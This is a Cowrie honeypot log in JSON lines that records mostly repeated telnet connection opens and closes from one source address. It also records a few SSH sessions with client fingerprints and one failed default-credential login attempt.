{"eventid":"cowrie.session.closed","duration":30.971508264541626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:34.889629Z","src_ip":"69.6.196.124","session":"2d58776683c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47993040084839,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:35.712312Z","src_ip":"69.6.196.124","session":"f55282370995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6ede78900a5","protocol":"telnet","message":"New connection: 69.6.196.124:39934 (159.203.135.109:23) [session: e6ede78900a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:36.663334Z"}
{"eventid":"cowrie.session.closed","duration":31.096710205078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:37.279488Z","src_ip":"69.6.196.124","session":"25407796c329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04266333580017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:37.456784Z","src_ip":"69.6.196.124","session":"a438ac4abca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39946,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd804f469865","protocol":"telnet","message":"New connection: 69.6.196.124:39946 (159.203.135.109:23) [session: cd804f469865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:37.590985Z"}
{"eventid":"cowrie.session.closed","duration":30.588397979736328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:37.729348Z","src_ip":"69.6.196.124","session":"46abc3e5da3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71574902534485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:38.304490Z","src_ip":"69.6.196.124","session":"664e5c149a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138911724090576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:38.884661Z","src_ip":"69.6.196.124","session":"2bd2cee90d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123523235321045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:39.225215Z","src_ip":"69.6.196.124","session":"e37a44aa9183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39968,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee35f4be9ac","protocol":"telnet","message":"New connection: 69.6.196.124:39968 (159.203.135.109:23) [session: 7ee35f4be9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:39.241876Z"}
{"eventid":"cowrie.session.closed","duration":31.123259782791138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:39.363788Z","src_ip":"69.6.196.124","session":"6dd884680284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39952,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ffe5960daf3","protocol":"telnet","message":"New connection: 69.6.196.124:39952 (159.203.135.109:23) [session: 4ffe5960daf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:39.914258Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52100,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1da0b58b404","protocol":"telnet","message":"New connection: 69.6.196.124:52100 (159.203.135.109:23) [session: e1da0b58b404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:40.243598Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ff52cfc8fd","protocol":"telnet","message":"New connection: 69.6.196.124:52108 (159.203.135.109:23) [session: b6ff52cfc8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:41.022713Z"}
{"eventid":"cowrie.session.closed","duration":32.378782510757446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:41.173142Z","src_ip":"185.53.58.141","session":"1683d43f1576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757854223251343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:41.374094Z","src_ip":"69.6.196.124","session":"87d2f796a856","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52102,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ffe9ef4518b","protocol":"telnet","message":"New connection: 69.6.196.124:52102 (159.203.135.109:23) [session: 2ffe9ef4518b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:41.674531Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52120,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfebfad5ef72","protocol":"telnet","message":"New connection: 69.6.196.124:52120 (159.203.135.109:23) [session: bfebfad5ef72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:41.902898Z"}
{"eventid":"cowrie.session.closed","duration":30.9849693775177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:42.365670Z","src_ip":"69.6.196.124","session":"9ba942fdb279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129225730895996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:42.489777Z","src_ip":"69.6.196.124","session":"e61e3a4cea4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52128,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e59b44ed7f0","protocol":"telnet","message":"New connection: 69.6.196.124:52128 (159.203.135.109:23) [session: 0e59b44ed7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:42.789429Z"}
{"eventid":"cowrie.session.closed","duration":33.69225215911865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:43.356995Z","src_ip":"69.6.196.124","session":"ea5541b1d5fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827096223831177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:44.684686Z","src_ip":"69.6.196.124","session":"32bd065575f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52973461151123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:45.394374Z","src_ip":"69.6.196.124","session":"27915df6d777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":44518,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cd8daed44e","protocol":"telnet","message":"New connection: 69.65.3.189:44518 (10.17.0.5:23) [session: a3cd8daed44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:45.547699Z"}
{"eventid":"cowrie.session.closed","duration":31.114508390426636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:45.941093Z","src_ip":"69.6.196.124","session":"fb92c2f16398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48243021965027,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:46.236557Z","src_ip":"69.6.196.124","session":"365027c3ea94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52138,"dst_ip":"159.203.135.109","dst_port":23,"session":"b192b7e7b5a4","protocol":"telnet","message":"New connection: 69.6.196.124:52138 (159.203.135.109:23) [session: b192b7e7b5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:46.794447Z"}
{"eventid":"cowrie.session.closed","duration":30.998354196548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:47.549088Z","src_ip":"69.6.196.124","session":"fbf43ab6f9f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":46440,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f6d41260844","protocol":"ssh","message":"New connection: 103.13.206.100:46440 (10.17.0.5:22) [session: 8f6d41260844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:48.158159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:48.162862Z","src_ip":"103.13.206.100","session":"8f6d41260844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.242891311645508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:48.270113Z","src_ip":"69.6.196.124","session":"b81bfb43fab3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:48.400950Z","src_ip":"103.13.206.100","session":"8f6d41260844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52146,"dst_ip":"159.203.135.109","dst_port":23,"session":"961adc007831","protocol":"telnet","message":"New connection: 69.6.196.124:52146 (159.203.135.109:23) [session: 961adc007831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:49.130753Z"}
{"eventid":"cowrie.login.failed","username":"user7","password":"1234","message":"login attempt [user7/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:49.388583Z","src_ip":"103.13.206.100","session":"8f6d41260844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52152,"dst_ip":"159.203.135.109","dst_port":23,"session":"c21b49bff554","protocol":"telnet","message":"New connection: 69.6.196.124:52152 (159.203.135.109:23) [session: c21b49bff554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:50.540244Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:50.628683Z","src_ip":"103.13.206.100","session":"8f6d41260844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.49867868423462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:51.700685Z","src_ip":"69.6.196.124","session":"ceaf0a611244","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33848,"dst_ip":"159.203.135.109","dst_port":23,"session":"52e8291f8d9a","protocol":"telnet","message":"New connection: 69.6.196.124:33848 (159.203.135.109:23) [session: 52e8291f8d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:51.935046Z"}
{"eventid":"cowrie.session.closed","duration":31.467803716659546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:52.201797Z","src_ip":"69.6.196.124","session":"9238081b672e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b8277fe5672","protocol":"telnet","message":"New connection: 69.6.196.124:33864 (159.203.135.109:23) [session: 9b8277fe5672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:52.735847Z"}
{"eventid":"cowrie.session.closed","duration":31.55415391921997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:52.904136Z","src_ip":"69.6.196.124","session":"f9f37cadf42d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50038456916809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:53.229731Z","src_ip":"69.6.196.124","session":"d174798f77ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.137378931045532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:53.257006Z","src_ip":"69.6.196.124","session":"72e725ad40a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055342197418213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:53.618752Z","src_ip":"69.6.196.124","session":"bf4bd90dd810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33876,"dst_ip":"159.203.135.109","dst_port":23,"session":"542a7c043684","protocol":"telnet","message":"New connection: 69.6.196.124:33876 (159.203.135.109:23) [session: 542a7c043684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:53.953832Z"}
{"eventid":"cowrie.session.closed","duration":31.306548595428467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:54.003471Z","src_ip":"69.6.196.124","session":"efcfb73e5d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33890,"dst_ip":"159.203.135.109","dst_port":23,"session":"61929dfc93ea","protocol":"telnet","message":"New connection: 69.6.196.124:33890 (159.203.135.109:23) [session: 61929dfc93ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:54.020646Z"}
{"eventid":"cowrie.session.closed","duration":31.037745475769043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:54.283098Z","src_ip":"69.6.196.124","session":"492ebbde2d09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33898,"dst_ip":"159.203.135.109","dst_port":23,"session":"0235bacb4fbb","protocol":"telnet","message":"New connection: 69.6.196.124:33898 (159.203.135.109:23) [session: 0235bacb4fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:54.504606Z"}
{"eventid":"cowrie.session.closed","duration":30.720484733581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:54.677516Z","src_ip":"69.6.196.124","session":"9f42ab5328ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33900,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9f474f45af6","protocol":"telnet","message":"New connection: 69.6.196.124:33900 (159.203.135.109:23) [session: e9f474f45af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:55.067136Z"}
{"eventid":"cowrie.session.closed","duration":31.170273303985596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:56.362103Z","src_ip":"69.6.196.124","session":"16d564c5c651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33916,"dst_ip":"159.203.135.109","dst_port":23,"session":"edfbd152cd74","protocol":"telnet","message":"New connection: 69.6.196.124:33916 (159.203.135.109:23) [session: edfbd152cd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:57.374634Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33920,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d392cd7b83","protocol":"telnet","message":"New connection: 69.6.196.124:33920 (159.203.135.109:23) [session: b6d392cd7b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:58.041904Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":33930,"dst_ip":"159.203.135.109","dst_port":23,"session":"47af596e9f26","protocol":"telnet","message":"New connection: 69.6.196.124:33930 (159.203.135.109:23) [session: 47af596e9f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:58.346533Z"}
{"eventid":"cowrie.session.closed","duration":31.10156226158142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:59.569065Z","src_ip":"69.6.196.124","session":"75aabc84a1b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.7551326751709,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:59.996981Z","src_ip":"69.6.196.124","session":"bb68cdd73ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129635095596313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:00.318672Z","src_ip":"69.6.196.124","session":"80a6d6f8968d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.381950855255127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:02.540557Z","src_ip":"69.6.196.124","session":"9ba27d8fb63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58992600440979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:02.601346Z","src_ip":"69.6.196.124","session":"78c91fa212dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32868,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2254c0001ea","protocol":"telnet","message":"New connection: 69.6.196.124:32868 (159.203.135.109:23) [session: b2254c0001ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:02.833007Z"}
{"eventid":"cowrie.session.closed","duration":30.24990940093994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:03.370773Z","src_ip":"69.6.196.124","session":"520cb09262c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32890,"dst_ip":"159.203.135.109","dst_port":23,"session":"04507de85040","protocol":"telnet","message":"New connection: 69.6.196.124:32890 (159.203.135.109:23) [session: 04507de85040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:04.470048Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32874,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2dbe4a1e407","protocol":"telnet","message":"New connection: 69.6.196.124:32874 (159.203.135.109:23) [session: d2dbe4a1e407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:04.618042Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32906,"dst_ip":"159.203.135.109","dst_port":23,"session":"077b019556b9","protocol":"telnet","message":"New connection: 69.6.196.124:32906 (159.203.135.109:23) [session: 077b019556b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:05.311674Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.55.81.2","src_port":38188,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cd7eaa6bb80","protocol":"ssh","message":"New connection: 203.55.81.2:38188 (159.203.135.109:22) [session: 7cd7eaa6bb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:05.574044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:05.687645Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"8c917104c76e94afaacd03d2f6016935","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 8c917104c76e94afaacd03d2f6016935","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:05.770715Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":57714,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ebe0fbf5323","protocol":"ssh","message":"New connection: 41.63.62.103:57714 (10.17.0.5:22) [session: 5ebe0fbf5323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:06.120025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:06.125001Z","src_ip":"41.63.62.103","session":"5ebe0fbf5323","protocol":"ssh"}
